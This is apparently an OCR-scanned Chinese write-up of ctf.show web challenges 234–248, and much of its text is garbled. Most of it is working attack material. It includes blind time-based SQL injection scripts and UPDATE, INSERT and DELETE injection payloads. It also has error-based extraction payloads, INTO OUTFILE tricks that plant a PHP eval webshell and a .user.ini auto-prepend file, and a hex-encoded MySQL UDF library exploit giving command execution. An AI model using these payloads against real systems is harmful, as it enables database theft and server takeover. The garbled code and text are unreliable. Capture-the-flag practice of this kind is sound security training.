{HR 2R — Tsleep: username=1' or if(1=1,sleep(1),0)#&password=1 KIZEEMER K, WA XA EIEET



import requests
import time
url="http://be56e7cl-7e8c-4c6b-bb39-10baba9a9cb2.challenge.ctf.show:8080/api/index.php"’

flag=""
for i in range(7,100):
min=32
max=128
while 1:
mid=min+(max-min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=="}":
exit()

break

sql="select group_concat(flagass233) from flag233333"
payload="1"' or if(ascii(substr(({}),{},1))<{},sleep(0.1),0)#".format(sql,i, mid)

data={
'username’ :payload,

‘password’:'1

)i
print(data)

try:
res requests.post(url=url,data=data,timeout=2.1).text
min=mid

except:
max=mid

time.sleep(1)
time.sleep(1)

web234——x FHL \ ¥ X5l 5

$sql "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

FEEBRM A, %82 AR B UR RS
HEES| SWAE RIEER (BudiET? BEXT?)
EFATTLUH \ # Y passwordj5 H KI5 &




EIPAN
username=#&password=1\

IRAESsqLiB A

update ctfshow_user set pass = '1\' where username = '#';

HTF\EXTEREFERSS, passHIfER 1' where username = T

4 userAUTO 1" where usermname =
5 userAUTO 1' where username =
6 userAUTO 1' where usemame =
7 userAUTO 1" where username =
8 userAUTO 1' where username =
9 userAUTO 1' where usemame =
10 userAUTO 1' where username =
[ ﬂ Elements Console Sources Network Performance Memory Application Lighthouse Security HackBar

LOAD SPLIT EXECUTE TEST ~ sqQLl -~ LFI -~ ENCODING ~ HASHING ~

http://82ec1dc8-9e9d-486a-afd4-fc4ed80e7ada.challenge.ctf.show:8080/api/|

enctype
Enable POST application/x-www-form-urlencoded ADD HEADER

Body
username=#&password=1\

username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database()
)#&password=1\

username=,username=(select group_concat(column_name) from information_schema.columns where table_ name=0x666c6167
323361)#8&password=1\

username=,username=(select group_concat(flagass23s3) from flag23a)#&password=1\

web235. 236——Bypass information_schema 5% 4+ A

X[ information_schema RAEEA T, Z mysql.innodb_table_stats 3,



mysqlEk i\ 7 i 51 ZinnoDBIE W IR :
mysqgl.innodb_table_stats
mysgl.innodb_index_stats

B & B4 database_nameFitable_name= Bt

« innodb
o &5
o MySQL > 5.5
o innodb_table_stats, innodb_table indexZHFIEEZ RS

22°innodb

o select table_name from mysqgl.innodb_table stats where database name=Z%3;

sys.schema_table_statistics_with_buffer &K AT LA

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

M8 EIRFLAT BAA innodb_table_stats B F|FE 4

username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

)#&password=1\

3B TEES FERLRAE S FSI AR BRI BEAN
CTF|mysqlz TeH & iEN

— BB Bypass information_schema 5 &iEA

username=,username=(select group_concat( 2" ) from(select 1,2,3 union select * from flag23al)a)#&password=1\

web237——INSERTHE A

$sql "insert into ctfshow_user(username,pass) value('{$username}’, '{$password}');";

W& — Tt


https://zhuanlan.zhihu.com/p/98206699
https://blog.csdn.net/qq_45521281/article/details/106647880

username=DMIND', (select group_concat(table_name) from information_schema.tables where table_schema=database()));

H#&password=1

username=DMIND', (select group_concat(column_name) from information_schema.columns where table_name='flag'));#&pa
ssword=1

username=DMIND', (select group_concat(flagass23s3) from flag));#&password=1

web238——INSERT#H A

A () REZH

username=DMIND', (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))
;#&password=1

username=DMIND', (select(group_concat(table_column))from(information_schema.columns)where(table name="'flagb')));4
&password=1

username=DMIND', (select(group_concat(flag))from(flagb)));#&password=1

web239——INSERTE A

information R # i€ T, B2 ATHIMIER mysql.innodb_table_stats

username=DMIND', (select(group_concat(table_name))from(mysql.innodb_table_ stats)where(database_name=database())))

; #&password=1

B RS

TN ZENN N —BEAEL, FfengiiE i * $idig T, EEA * BIFARLIILENT (FEH. FHjoin...using P75 i%
HWHAET =D

B J5 RS 5 4 %8 R flag g i 1

username=DMIND', (select(group_concat(flag))from(flagbb);

web240——INSERTHE A

BEARIEE T RA MR, HEBBRALIHRHLET



urlil="http://alf@a@b5-fd70-4ca6-a9f2-2d6b60565ed6.challenge.ctf.show:8080/api/insert.php"
url2="http://alf@a@b5-fd70-4ca6-a9f2-2d6b60565ed6.challenge.ctf.show:8080/api/?page=1&1imit=100"

for n in kk:
for ¢ in kk:
flag="flag"+i+j+m+n+c
print(flag)
data={
‘username' :"DMIND', (select(group_concat(flag))from({})));#".format(flag),
'password’:1

1
J

res=requests.post(url=urll,data=data).text

r=requests.get(url=url2).text
print(r)
if "ctfshow{" in r:
print(res)
exit()

web241—DELETEF: A

BiE, XEBHE

URL
http://7fa12429-485a-4131-85e5-fe55ad164b6f.challenge.ctf.show:8080/api/delete.php

enctype

Enable POST application/x-www-form-urlencoded

Body
id=if(1=1,sleep(0.1),0)

https://blog.csdn.net/w




import requests
import time
url="http://7fal12429-485a-4131-85e5-fe55ad164b6f.challenge.ctf.show:8080/api/delete.php’

flag=""
for i in range(8,100):
min=32
max=128
while 1:
mid=min+(max-min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=="}":
exit()

break

sql="select group_concat(flag) from flag"
payload="if(ascii(substr(({}),{},1))<{},sleep(0.1),0)#".format(sql,i, mid)

data={
'id' :payload,
)i

try:
res requests.post(url=url,data=data,timeout=2.1).text
min=mid

except:
max=mid

time.sleep(1)
time.sleep(1)

web242—FILE?: A

—FERE ; DEPITEEMLIREED, HERRIEAL LEXMH, RRICEHF I secure_file priv R EEME,
1£ /var/www/html/dump/ H3X FTHERIN. BEEHET

WEE— Tfeng MK k2R A INTo oUTFILE KIRESEU. BLT 2 Mbfeng)fiEHR )L E #IRKIZE L :




INTO OUTFILE 'file name'
[CHARACTER SET charset_name]
[export_options]

export_options:
[{FIELDS COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']

]
[LINES

[STARTING BY 'string']
[TERMINATED BY 'string']

“OPTION"ZHUNW LS HUAT, HAREHEUER:

"FIELDS TERMINATED BY 'FEfFH' : WEFHRENFERZENSER, ATUNBENRENERF. BRIMER\t7.

"FIELDS ENCLOSED BY 'Fff' : WEFMAREETFERMNME, REARNFHN. RIMER T AMEREMTS.

“FIELDS OPTIONALLY ENCLOSED BY 'ZF&F' : WEBEFRIEMLECHAR. VARCHARFITEXTEZFRIZE . BRIMBER TAMEREMES .

"FIELDS ESCAPED BY 'ZFfF' : WEHENFER, REANBENZER. BRIMERN\".

"LINES STARTING BY 'FHfeh' . WEBTHEEITRNTHR, WTUANRNEZA TR, &L T AE AT 74 -

"LINES TERMINATED BY 'ZEfFH' . wEBSTHELEENER, WLUNEANBHEZSNFER. BRIMERL“\n”.

EREEMRE
FIELDS TERMINATED BY . LINES STARTING BY . LINES TERMINATED BY
XEASHHEe L — ) E RIFEIEH

filename=1.php' FIELDS TERMINATED BY "<?php eval($_POST[1]);?>";

XERRE LA — R AT T

web243—FILE7: A



XEE SR I TPHPHSEREF LK, REMIMG T FH
ETBEREBIIWPA KI, FEE—A /dump/index.php T, THiZA E KN A B REKIRZ403, XIREIE?

403 Forbidden

nginx/1.16.1

[w ﬂ Elements Console Sources Network Performance Memory Application Lighthouse Security HackBar

LOAD SPLIT EXECUTE TEST ~ sqLl -~ XSS - LFlI ~ SSTI ~ ENCODING -~ HASHING ~

URL
http://dc25220c-4b33-4b7b-9418-c5470e870d01.challenge.ctf.show:8080/dump/index.php

& B 4 ERM B —Aindexphp REIE, BEEXH EE (BXH) AEBEBIFA user.ini AL EH index.php H
X BE K L& Rpayload R it 7t

filename=.user.ini' LINES STARTING BY ';' TERMINATED BY 0x0a6175746f5f70726570656e645f66696c653d312e706e670a

BRI EAE KR user.ini XX, WAAMMRZETHIphp, BE] <?php?> & HIEPHPARAGHAT .

BAT BRI R auto_prepend_file=1.png MMySQLH FI{E B S MMABX AN U (B2 2 B INTO OUTFILE SRE SCAFHIWE), KRR
TE— IR B v Be{18 auto_prepend_file=1.png TLIEEIEM, FTUAFE ; CiniCHREBER) #HITERE

LINES STARTING BY ';' ik®4FLL ; AFFL
AR 1 ctfshow ctfshow XFERIE B

TERMINATED BY 0x0a6175746f5f70726570656e645F66696c653d312e706e670a : VEREIXEX 16 HI ISk B¥H 0a 4T 4T, (H18
FAIH auto_prepend file=1.png BEJH 5 —4T



AR TE: RIMOKNBIALHERE BT

1 | user (1).ini - i2F/=

IR F=EE) B0 BBV EEH)
" ctfshow ctfshow
auto_prepend file=1.png

2 userl 111

Iauto _prepend file=1.png

3 user2 222

auto_prepend file=1.png

5,4 userAUTO passwordAUTO
auto_prepend file=1.png

5 userAUTO passwordAUTO
auto prepend file=1.png

;6 userAUTO passwordAUTO
‘auto prepend file=1.png

7 userAUTO passwordAUTO
auto prepend file=1.png

i .8 userAUTO passwordAUTO
jauto prepend file=1.png

;9 userAUTO passwordAUTO
auto prepend file=1.png

;10 userAUTO passwordAUTO
auto prepend file=1.png

11 userAUTO passwordAUTO
auto prepend file=1.png

12 userAUTO passwordAUTO
auto prepend file=1.png

13 userAUTO passwordAUTO
auto prepend file=1.png

14 nserdlITO nasswardAllTO



Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0

Fatal error: Unknown: Failed opening required '1.png’ (include path=".:./usr/local/lib/php’) in Unknown on line 0

/

[w ﬂ Elements Console Sources Network Performance Memory Application Lighthouse Security HackBar

LOAD SPLIT EXECUTE TEST ~ saLl -~ XSS -~ ENCODING ~ HASHING ~

URL
http://dc25220c-4b33-4b7b-9418-¢5470e870d01.challenge.ctf.show:8080/api/dump.php

enctype
Enable POST application/x-www-form-urlencoded ADD HEADER

Body
filename=.user.ini' LINES STARTING BY ;' TERMINATED BY
0x0a6175746f5f70726570656e645f66696c653d312e706e670a;# "

REH LA EF—EARDK 1.png , —AIEARS A 168 5 EIREEAT

filename=1.png' LINES TERMINATED BY ©x3c3f706870206576616c28245f504f53545b315d293b3f3e;

e LIS

web244——R 57E N\ . updatexml

$sql "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
1' or updatexml(1l,concat(@x7e,database(),0x7e),1)-- -

1' or updatexml(l,concat(@x7e,(select group_concat(table_name) from information_schema.tables where table_schema
=database()),0x7e),1)-- -

1' or updatexml(1l,concat(®x7e,(select group_concat(column_name) from information_schema.columns where table_name
='ctfshow_flag'),0x7e),1)-- -

1' or updatexml(1l,concat(®x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e),1)-- -

extractvalue()5updatexml() REEH FZHFENRRNKEN32, MERMNBEKS EBiE32, AWTLLA substr(). left().
right() B BB EL

B v updatexmiift 45 B 4K i F concatiX N EE $, B itconcatifiidiE T, AHMBRRHG?

X BRAEA R

make_set(). 1lpad(). reverse(). repeat(). export_set() ( lpad(). reverse(). repeat() X=HHFEHPIRENE
WHES, BDAELEE -NMREFER, BSUSERE BB



select updatexml(1l, make_set(3,'~",user()),1);
1105 (HY@0Q): XPATH syntax error: '~,root@localhost’

select updatexml(1,lpad('@',30, (select user())),1);
1105 (HY@OO@): XPATH syntax error: '@localhostroot@localhostr@'

select updatexml(1,repeat((select user()),2),1);
1105 (HY@0Q): XPATH syntax error: '@localhostroot@localhost’

select updatexml(1, (select user()),1);
1105 (HY@0Q): XPATH syntax error: '@localhost’
select updatexml(1,reverse((select user())),1);
1105 (HY@0O): XPATH syntax error: '@toor’

select updatexml(1,export_set(1|2,'::"',(select user())),1);
ERROR 1105 (HY@0O): XPATH syntax error: '::,::,root@localhost,root@localh’

1' or updatexml(l,make_set(3,'~",(select database())),1)

web245——R 457 N . extractvalue

1' or extractvalue(l,concat(@x7e, (select group_concat(table_name) from information_schema.tables where table_sch
ema=database()),0x7e))-- -

1' or extractvalue(l,concat(@x7e,substr((select group_concat(flagl) from ctfshow_flagsa),20,30),0x7e))-- -

web246—— U A Wi REAN . floorik & iEAN
floorif &5 VEN
SQLIENZ WEHEN

BRI T, HHPAYLOADEIZRMNEEHHTIHNE

' union select 1,count(*),concat(@x7e,PAYLOAD,0@x7e,floor(rand(@)*2))b from information_schema.tables group

by b-- -

{HULBH group_concat() AR, HEEA limit 2% 7T


https://www.secpulse.com/archives/140616.html
https://specters.top/2019/03/05/SQL%25E6%25B3%25A8%25E5%2585%25A5%25E4%25B9%258B%25E5%258F%258C%25E6%259F%25A5%25E8%25AF%25A2%25E6%25B3%25A8%25E5%2585%25A5/

1' union select 1,count(*),concat((select table_name from information_schema.tables where table_ schema=database(
) limit 1,1), @x7e,floor(rand(®)*2))b from information_schema.tables group by b -- -

1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name="'ctfshow
flags' limit 1,1), ©x7e,floor(rand(0)*2))b from information_schema.tables group by b -- -

1' union select 1,count(*),concat((select flag2 from ctfshow_flags ), 0x7e,floor(rand(©)*2))b from information_s
chema.tables group by b -- -

web247— X E HEE RmEAN . REHEAN

floor(): [T HUE

ceil(): M LE(®

round(): WU&EFRAN

floor#k # B 3L At B % B8 H BP 7T

1' union select 1,count(*),concat((select “flag?  from ctfshow_flagsa ), 0x7e,round(rand(@©)*2))b from informatio

n_schema.tables group by b -- -

IR 473\ payload® &

PAT R 45 & M _E B S T R A — 4 8 A\ payload:



1.updatexml()
select from user where id=1 updatexml (1, concat(@x7e,database(),0x7e),1)

2.extractvalue()
select from user where id=1 extractvalue(1,concat(0x7e,database(),0x7e))

3.floor(). MEMEEIR. group by. count()
select from user where ?id=1 union select 1,count(*),concat(@x7e,PAYLOAD,®@x7e,floor(rand(0)*2))b from informat

ion_schema.tables group by b

(select count(*) from information_schema.tables group by concat(database(),flo|

from(select * from mysql.user a join mysql.user b)c;
from(select * from mysql.user a join mysql.user b using(id))c;
from(select * from mysql.user a join mysqgl.user b using(id,name))c;

Mysql 5.0.HFEERNSHRE, 5. 154 LR

T T B R BE R Imy sq15 . 7 B Eik 28 :

5.exp()

select from user where id=1 exp(~(select from (select user () ) a) );

6.geometrycollection()
select from test where i geometrycollection((select from(select from(select user())a)b));

7.multipoint()
select from test where i multipoint((select from(select from(select user())a)b));

8.polygon()
select from test where i polygon((select from(select from(select user())a)b));

9.multipolygon()
select from test where i multipolygon((select from(select from(select user())a)b));

10.linestring()
select from test where i linestring((select from(select from(select user())a)b));

11.multilinestring()
select from test where i multilinestring((select from(select from(select user())a)b));

12.ST_LatFromGeoHash()
select ST_LatFromGeoHash(concat(0x7e, (select database()),0x7e));

web248——UDFF:E A

MySQL UDFHAUIAT 4
—IECTFRE B 51 X fIMysqlifjudf: 3]



https://blog.csdn.net/qq_36119192/article/details/84863268
https://blog.csdn.net/qq_20307987/article/details/88824432

api/?id=1'; select @@plugin_dir; -- -
2 My sqliffF#4%: /usr/lib/mariadb/plugin/

/api/?id=";CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
5 Nudf. soXXf Tl isys_eval

KRIEKIEXP:

import requests

base_url="http://3f801el10-5c58-42bf-a5cf-8a588d3bfe9c.challenge.ctf.show:8080/api/"

payload [1]

text = ["a", "b", "c", "d", "e"]

udf "7F454C4602010100000000000000000003003E0001000000300A0000000000040000000000000005818000000000000000000004
0003800060040001C0019000100000005000000000000000VVBLVVVVRLVVABRLVVVRLLVVABRLYVVRRRLBCA14000000000000C41400000)
000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000)
000000000002000000000000200000006000000F 8140000000000VVF814200000000000F8142000000000008001000000000000800100000)
000000008000000000000VVV40000000400000095001000000000000900100000000000090010000000000002400000000000000240000000)
00000000400000000000VVV50ES57464040000004412000000000000441200000000000044120000000000008400000000000000840000000)
00000000400000000000VVV51E574640600000000000000000000000000VVVVBRLVVVRRLLVVRBRLVVRLRRLVVRLBRLVVRRLRLVRBRLVRLAL
00000000800000000000000040000001400000003000000474E5500D7FF1D94176ABAGC150B4F3694D2ECS95AESE1A800000000110000001
1000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0CVVVA]
E000000000000001F000000000000002000000021000000220000002300000024000000000000VOCE2CCOBA673C7690EBD3EFOE78722788B|
98DF10EDS71581CA868BE12BBE3927C7E8B92CD1E7066A9C3FO9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3BO9FD4AOAD73D1C50
B5911FEABS5FBE1200000000000000000000000000000000000000000000000000000000VVVVV3000900880900000VVVVBVLVRRLRLYOY
0000000010000002000000000000000000VVVRRLVVVVRLVRBRLRVV2500000020000000000VVBRLVVRLRRLVRRRLVVVRLRRVRBCDVVRLRO1
200000000000000000000000V00VVVVVRRVVVV1EN10000120000000000000VVVBRLVVVRLRLLVRBRLVVRLRRE2010000120000000000V0QY
0000000000000V RVVVVE3000000120000000000000VVVVBRLVVRRLLVVRBRLVRRRBOVVRRRA12000000000RLVVRLRRLVRBLRLVRLOL
00000006801000012000000000000000000000LVVVVRLVVVRRLRVV1600000022000000000VVBRLVVRRRLVVRRRLVVRLRRLVRB540000001
200000000000000000000000VVLVVVVRRVVVFLVVVA12000000000000VVVBRLVVVRLRLLVRRRLVVRLROB20000V120000000000V00Y
0000000000000V RRRVV5A0100001200000000000000VVVCRLVVVVRLVRRRLVRAR52010000120000000000LVVVRRLLVRBRLLAL
00000004C0100001200000000000000000000000VVVVRVLVVVRRLVVEEZ0VVVVV12000BRRD10DABRLVVVRRRVBOD1000VVVRRRVRA330100001
2000BOOASOF000000000000VA0000VVVRVVVVV1000000012000CRV48110000000000VVVRVVVVRRLVVRLRO7800000012000BOOIFOBOOVLY
00000004C00000VVVVRVVOFFRLVVV1200090088090000000000VVVVRVVVRRLVVRREVV1000V10VRF1FF1017200000000000000000000)
00000001501000012000B00130F0000000V02FVVVRVLVVRRRVV8CA100V0100OF1FF201720000000000000000000000000009BVRLO1
2000B00480C000000000000VA000000000VVVV2501000012000BOO420F00VVVRRLVVV67000VVCRLVVVRROAADRLRLRLV12000B0V520C0V00Q
000000063000000000000005B0VVVVR12000BRRS50BOROVVVVCELVVOARLLVVVRRLVVVRRSEVVVRLRV12000BOOEBOBOVVV0BVVVRB5DVVLOL)
0000000790100001000F 1FF101720000000000000000000000000000501000012000BOROOVFOBRLVVVRRLVVOALBLLVVVRLRRLVRRCLVVVRLRO1L
2000BOOB50C00000000000OF 100000000000VVOF 700000012000BOOA20ER0VV00000VV67000000000000RV3900000012000BVV4COBOOVALY
00000004900000000000000D400000012000BRRA60DOVVVVVVCVVV2BREVVVRRLVVVRR4A301000012000BOOB30FVVVVRRRVRB550100000)
©0000RRRO5F5F676D6F6ES5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C617
3736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F6)
96E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F646
5696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6)
465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E69746)
©7379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C007
O6F 70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F62737
35F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000
200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F010000100000000)
0000000751A690900000200910100000000VVROFA14200000000000080000000VVVVRROFO142000000000007816200000000000060000000)
2000000000000000000000080162000000000V0V600000003000000VVRVVRVVRVVRVVRRE8162000000VVVRVVE60VBVBRABRVVRVVRVRVVAL
000000PA8162000000000000700000004000000000000V00VRPVVRVBA1620000000000007000VPV500000000VBPVBRVRRVVRVOBE1620000
©00000000700000006000000000000VVRVVRVVRVCA16200000000000070000000700000VBRRRVVRVVRVVRVVCE16200000000000070000000
80000000000000000VVRVVRDV16200000000VVRV70000VVBSVBRVBRVVRVVRVVRVVRRVRRDE1620000000VVRVO7000PVBLABRVVRVLRVRVVAL
(©000VOVPED16200000000000070000000BORVVRVVRVVRVVRVVRRVRROES1620000000000007000000VCRVVRVVRLVRLVRRVRRVVRVOFV1620000
©0000000070000000DVVVVVVVVVVRLVVRVVRVVROF81620000000000007000VVRVERVVBVVBPVBLVVRVVRVVRVRO17200000000000070000000
F00000000000000000VVVVVR81720000000000007000000100000000VVVVVRVVRVVRVVV4A883ECOBESEFOVOVVOESBAO100VOEB75070000488
3C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000ESEQFFFFFFFF25EARC20006801000000EODOFFFFFFFF25E20C2
0006802000000E9COFFFFFFFF25DA0C20006803000000E9BOFFFFFFFF25D20C20006804000000ESAOFFFFFFFF25CA0C20006805000000E99




0006809000000ESSOFFFFFFFF25A20C2000680A000000ES40FFFFFFFF259A0C2000680B00000OES30FFFFFFFF25920C2000680C000000ES2
OFFFFFFA883EC08488BO5SEDOB20004885C07402FFDO4883C408C390909090909090909055803D680C2000004889E5415453756248833DD00
B200000740C488D3D2FOA2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FBO34883EBO14839D873200F 1]
F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FEOB2000015B415CC9C3660F 1F84000000000048833DCO0
9200000554889E5741A488B054B0B20004885C0740E488D3DA7092000COFFEGOF1F4000C9C39090554889E54883EC3048897DE8488975E04
88955D8488B45E08B0085C07421488DODE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FFO1EBO4C645FFOOOFB645FFCOC
3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488DODCAO50000488B45E8BALFQ
000004889CE4889C7E846FEFFFFA488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0
©83F801751C488B45F0488B40088B0085C0750E488BA5F8C60001B80000000OEB20488DOD83050000488BA5E8BA2B0000004889CE4A889C7E
8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0O488B4
5E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D04
88910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004
889CE4889C7E831FDFFFFB80100000OESABO00000488B45F0488B40088B0085C07422488DODF2040000488B45E8BA280000004889CE4889(C
7ESFEFCFFFFB801000000EB7B488B45F0488B40084883(C004(70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B0
0488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0ODA4040000488B45E8BA1A00000
04889CE4889C7E888FCFFFFB801000000EBO5B800000000COC3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488
B40104889C7E811FCFFFFCO9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B401]
8488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7ESEFFBFFFF488BASE
0488B4018488B00480345F0C60000488BA5E0488B40184883C008488B10488BA5E0488B40104883C008488B08488B45F84889CE4889C7ESB
OFBFFFF488B45E0488B40184883C008488B00480345F8C60000488BADF8488B45F0BA010000004889CE4A889C7E892FBFFFF4898C9C355488
9E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B00O8
5C07507B80000000OEB20488DODC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554
889E54883EC2048897DF8488975F0488955E848894DEQ488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897
DE8488975E0488955D8C745FC00000000488B4A5E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B00G85C07507B80000000)
OEB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC50040
0004889BDD8FBFFFF4889B5DOFBFFFF488995C8FBFFFF48898DCOFBFFFFAC8985B8FBFFFFAC898DBOFBFFFFBF@1000000ES8BEFOFFFF48898
5C8FBFFFF48C745F000000000488B85DOFBFFFF488B4010488B00488D352C0200004889C7E852FAFFFFA88945E8EB63488D85EQFBFFFF488
9C7E8BDFOFFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85EQOFBFFFF488B5
5F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1FOFFFF488BA5F8480145F0488B55E8488D85EQFBFFFFBEG00400004889C7E831F
OFFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFFOFB60084C0740A4883BDC8FBFFFFO0750C488B85B8FBFFFFC60001EB2B4
88B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFFA488BO95COFBFFFF488902488B85C8FBFFFFC9C3909090909
0909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EBO8FFDO488B034883F8FF75F14883C4085B(
9C390904883ECO8E8AFFOFFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7
564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E330000457870656
37465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720000000000004578706563746564206578616
3746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D657
4657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFB]
CO000005BFOFFFFDCO00OOOA7FOFFFFFCO0000004FAFFFF1CO100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9
CO100005EFCFFFFBCO10000C5FCFFFFDCO10000CFFCFFFFFCO10000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C020000140000000)
0000000017A5200017810011B0CO708900100001C0000001CO0000064F8FFFF4900000000410E108602430D0602440C070800001C0000003)
CO000008DF8FFFFOA00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C0)
70800001C0000007CO0R00VA3F8FFFF5D00000000410E108602430D0602580C070800001C0000009CO0000OEOF8FFFFOAD0000000410E108
602430D06450C07080000001CO00000BCAVVVVACAF8FFFF6300000000410E108602430D06025E0C070800001C000000DCO0RBROODFIFFFFF
100000000410E108602430D0602ECOCO70800001C000000F CO00RRADEFSFFFF2B00000000410E108602430D06660C07080000001C0000001
CO10000ESFOFFFFD100000000410E108602430D0602CCOCO70800001C0000003CO100009AFAFFFF6700000000410E108602430D0602620C0)
70800001C0000005CO010000E1FAFFFFOA00000000410E108602430D06450C07080000001C0000007CO10000CBFAFFFF2F00000000410E108
602430D066A0CO7080000001CO000009CA1000ODAFAFFFF6700000000410E108602430D0602620C070800001C000000BCO1000021FBFFFFO)|
AP0OOOVVVA10E108602430D06450C07080000001C00000ODCO1000VOBFBFFFF5501000000410E108602430D060350010C070800000000000)
0000VOOFFFFFFFFFFFFFFFFO000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F014200000000000010000000)
00000006 F010000000000000CLVRRVVVVVRRVVV8EB9000VVBRVVVVVEDOVVVRRRVVVVRRN4811000000000VVFS5FEFF6F00000000B80100000)
000000005000000000000COE8050000000000000600000000000000700200000000000VVAVBRVVVVVBRROODB100VVVBRRVVVREBAVVYLAY
00000001 80000000000000003000000000000009016200000000000020000000000000038010000000000001400000000000000070000000
0000000170000000000000050080000000000000700000000AVVVVOFA0700000000VBRVV800000VVVVBRRVVE600000VVVBRRVVVLBIVVVVLAY
00000001 8000000000V FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000FOFFFF6F00000000860700000)
0000VOFOFFFF6F0000000001000000000000000000000000000000AVVVVBBRVVVVBRRVVVVBRRVVVVBRAVVVVBAAVVVLERRVVVLBRRVYLAY
000000000000000000000000VVVRRVVVVVBRVVVVVBRVVVVYBAVVVYVREARVVYRRAVVVVBRRAVYRRRVVERARVVYBRAVVVLBRRVVVLRRRVVYLAY
0000000000000000VVVVVRAF8142000000000000000000000VVVVVVCRVVVVRRRVVVVRRABE0900VVVVVBRRROCHEB90000000VVVED60900000
0000VVOE60900000000000OF609000000000000060A000000000V00160A00000000V0RN260A0000VVVBRVV360A00000000VVV460A00000
0000000560A000000000000660A000000000VVV760A0000000000004743433A2028474E552920342E342E372032303132303331332028526




5642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372,
D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E6
8617368002E64796E73796D002E64796E737472002E676E752E76657273696F6EGO2E676E752E76657273696F6ES5F72002E72656C612E647
96EQ02E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685
F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F7|
42E706C74002E627373002E636F6D6D656E74000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000VBRVVVVVBRV0VVVBRVVVVO1BOVVYVBAT700000002000000000000009001000000000000900100000
000000024000000000000000000000000000000040000000000000000000000000000002ECCVCROFE6FFFFE6F0200000000000000B80100000
0000000B80100000000000OB400000000000V00030000000000000VB800000B0VVVVBBNVVVVBRNVVVVBRVNV38000000VBOVVVVVB20000000
0000000700200000000000070020000000000007803000000000000040000000200000008000000000000001800000000000000400000000
